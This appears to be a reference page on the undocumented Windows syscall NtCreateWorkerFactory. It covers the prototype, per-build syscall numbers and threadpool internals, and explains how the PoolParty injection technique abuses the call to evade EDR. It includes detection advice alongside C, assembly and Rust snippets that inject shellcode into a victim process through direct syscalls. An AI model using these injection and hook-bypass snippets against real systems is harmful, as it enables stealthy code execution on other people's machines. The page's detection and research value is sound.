NtCreateWorkerFactory
Creates a kernel worker factory object — the threadpool primitive that PoolParty injection abuses to spawn shellcode without NtCreateThreadEx.
Prototype
NTSTATUS NtCreateWorkerFactory( PHANDLE WorkerFactoryHandleReturn, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, HANDLE CompletionPortHandle, HANDLE WorkerProcessHandle, PVOID StartRoutine, PVOID StartParameter, ULONG MaxThreadCount, SIZE_T StackReserve, SIZE_T StackCommit );
Arguments
| Name | Type | Dir | Description |
|---|---|---|---|
| WorkerFactoryHandleReturn | PHANDLE | out | Receives the new worker factory handle on success. |
| DesiredAccess | ACCESS_MASK | in | Requested access mask — WORKER_FACTORY_ALL_ACCESS (0xF00FF) for full control. |
| ObjectAttributes | POBJECT_ATTRIBUTES | in | Optional OBJECT_ATTRIBUTES, usually NULL — worker factories are rarely named. |
| CompletionPortHandle | HANDLE | in | Handle to an I/O completion port (NtCreateIoCompletion) that delivers work to the factory's worker threads. |
| WorkerProcessHandle | HANDLE | in | Process in which worker threads will run. NtCurrentProcess() for self; a remote handle is the PoolParty injection vector. |
| StartRoutine | PVOID | in | Address of the worker thread entry point — typically ntdll!TppWorkerThread for legitimate threadpools, attacker-controlled in PoolParty. |
| StartParameter | PVOID | in | Single parameter passed to StartRoutine on each new worker thread. |
| MaxThreadCount | ULONG | in | Maximum number of worker threads the factory may spawn concurrently. |
| StackReserve | SIZE_T | in | Stack reservation in bytes for each worker thread. 0 uses the image default. |
| StackCommit | SIZE_T | in | Initial committed stack for each worker thread. |
Syscall IDs by Windows version
| Windows version | Syscall ID | Build |
|---|---|---|
| Win10 1507 | 0xBE | win10-1507 |
| Win10 1607 | 0xC1 | win10-1607 |
| Win10 1703 | 0xC4 | win10-1703 |
| Win10 1709 | 0xC5 | win10-1709 |
| Win10 1803 | 0xC6 | win10-1803 |
| Win10 1809 | 0xC7 | win10-1809 |
| Win10 1903 | 0xC8 | win10-1903 |
| Win10 1909 | 0xC8 | win10-1909 |
| Win10 2004 | 0xCC | win10-2004 |
| Win10 20H2 | 0xCC | win10-20h2 |
| Win10 21H1 | 0xCC | win10-21h1 |
| Win10 21H2 | 0xCD | win10-21h2 |
| Win10 22H2 | 0xCD | win10-22h2 |
| Win11 21H2 | 0xD2 | win11-21h2 |
| Win11 22H2 | 0xD3 | win11-22h2 |
| Win11 23H2 | 0xD3 | win11-23h2 |
| Win11 24H2 | 0xD5 | win11-24h2 |
| Server 2016 | 0xC1 | winserver-2016 |
| Server 2019 | 0xC7 | winserver-2019 |
| Server 2022 | 0xD1 | winserver-2022 |
| Server 2025 | 0xD5 | winserver-2025 |
Kernel module
Related APIs
Syscall stub
4C 8B D1 mov r10, rcx B8 D5 00 00 00 mov eax, 0xD5 F6 04 25 08 03 FE 7F 01 test byte ptr [0x7FFE0308], 1 75 03 jne short +3 0F 05 syscall C3 ret CD 2E int 2Eh C3 ret
Undocumented notes
NtCreateWorkerFactory is the kernel half of the user-mode Windows threadpool: every `CreateThreadpool`, `CreateThreadpoolWork`, `SubmitThreadpoolWork` call in kernel32 / ntdll ultimately drives a `WorkerFactory` object via this syscall. The factory ties together an I/O completion port (source of work items), a target process for worker threads, and a `StartRoutine` invoked when threads come online. For legitimate code that StartRoutine is `ntdll!TppWorkerThread`, which then loops in `NtWaitForWorkViaWorkerFactory` waiting for callback dispatches. The undocumented design — a single syscall that creates threads in an arbitrary process with an arbitrary entry point — is what makes it a powerful injection primitive, and the syscall number drifts almost every feature release.
Common malware usage
This is the foundation of the PoolParty injection family disclosed by Alon Leviev (SafeBreach) at Black Hat Europe 2023. The canonical variant: open a handle to a remote process, create an I/O completion port and worker factory in that process with `StartRoutine` pointing at attacker-supplied shellcode in the remote address space, then post work to wake threads. The result is code execution in the target *without ever calling* `NtCreateThreadEx`, `NtQueueApcThread`, `NtSetContextThread`, `CreateRemoteThread`, `RtlCreateUserThread`, `NtMapViewOfSection`, or any of the seven or eight thread-creation primitives that almost every EDR hooks. Eight distinct PoolParty variants (worker factory direct, worker via TP_WORK, worker via TP_WAIT, worker via TP_IO, worker via TP_TIMER, worker via TP_ALPC, worker via TP_JOB, worker via completion port) all bottom out here.
Detection opportunities
Worker factory creation that crosses process boundaries is the single highest-fidelity signal. Cross-process `NtCreateWorkerFactory` (where `WorkerProcessHandle` does not refer to the calling process) is essentially unheard of outside attack tooling. ETW provides limited coverage — the Microsoft-Windows-Threading provider emits some worker factory events but not the syscall itself; the Threat-Intelligence provider does not currently cover this primitive. Practical detection: kernel callback inspection of the `WorkerFactory` object's `ProcessHandle` against the creator EPROCESS, or user-mode hooking of ntdll!NtCreateWorkerFactory (which direct syscalls bypass — at which point you need the kernel-side approach). VAD scanning of the target process for RX regions backed by no image followed by a worker factory referencing that region is the cleanest post-facto hunt.
Direct syscall examples
cPoolParty Variant 1 — remote worker factory
// PoolParty 'Worker Factory Start Routine Overwrite' skeleton.
// Assumes hProc opened with PROCESS_ALL_ACCESS, shellcode already written
// to pRemoteShellcode (RX) in the victim.
HANDLE hIoCompletion = NULL;
IO_STATUS_BLOCK iosb;
OBJECT_ATTRIBUTES oa; InitializeObjectAttributes(&oa, NULL, 0, NULL, NULL);
// 1. Create an I/O completion port in *our* process — the kernel just needs a handle.
NtCreateIoCompletion(&hIoCompletion, IO_COMPLETION_ALL_ACCESS, &oa, 0);
// 2. Duplicate it into the victim so the worker factory there can consume it.
HANDLE hRemoteIoCompletion = NULL;
NtDuplicateObject(NtCurrentProcess(), hIoCompletion, hProc, &hRemoteIoCompletion,
0, 0, DUPLICATE_SAME_ACCESS);
// 3. Create the worker factory in the victim. StartRoutine = shellcode.
HANDLE hWorkerFactory = NULL;
NtCreateWorkerFactory(&hWorkerFactory,
WORKER_FACTORY_ALL_ACCESS, NULL,
hRemoteIoCompletion,
hProc, // <-- victim process
pRemoteShellcode, // <-- attacker payload
NULL, // StartParameter
1, 0x100000, 0x10000);
// 4. Post a single work item — wakes one worker thread, which jumps to shellcode.
NtSetIoCompletion(hIoCompletion, NULL, NULL, STATUS_SUCCESS, 1);asmx64 direct stub (Win11 24H2 SSN 0xD5)
; NtCreateWorkerFactory direct syscall — SSN drifts per build, resolve dynamically in production.
NtCreateWorkerFactory PROC
mov r10, rcx
mov eax, 0D5h ; Win11 24H2 / Server 2025
syscall
ret
NtCreateWorkerFactory ENDPrustwindows-sys cross-process invocation
// Cargo: windows-sys = "0.59" ; ntapi = "0.4" for the prototype.
// Demonstrates the cross-process flag — flagged by Sysmon EID 10 on the OpenProcess.
use ntapi::ntpsapi::NtCurrentProcess;
use ntapi::ntexapi::NtCreateWorkerFactory;
use windows_sys::Win32::Foundation::HANDLE;
unsafe fn spawn_remote_worker(
victim: HANDLE,
remote_iocp: HANDLE,
remote_payload: *mut core::ffi::c_void,
) -> HANDLE {
let mut wf: HANDLE = 0;
let status = NtCreateWorkerFactory(
&mut wf as *mut _ as *mut _,
0x000F00FF, // WORKER_FACTORY_ALL_ACCESS
core::ptr::null_mut(),
remote_iocp,
victim,
remote_payload,
core::ptr::null_mut(),
1,
0x100000,
0x10000,
);
assert_eq!(status, 0, "NtCreateWorkerFactory failed: {status:#x}");
wf
}MITRE ATT&CK mappings
Last verified: 2026-05-20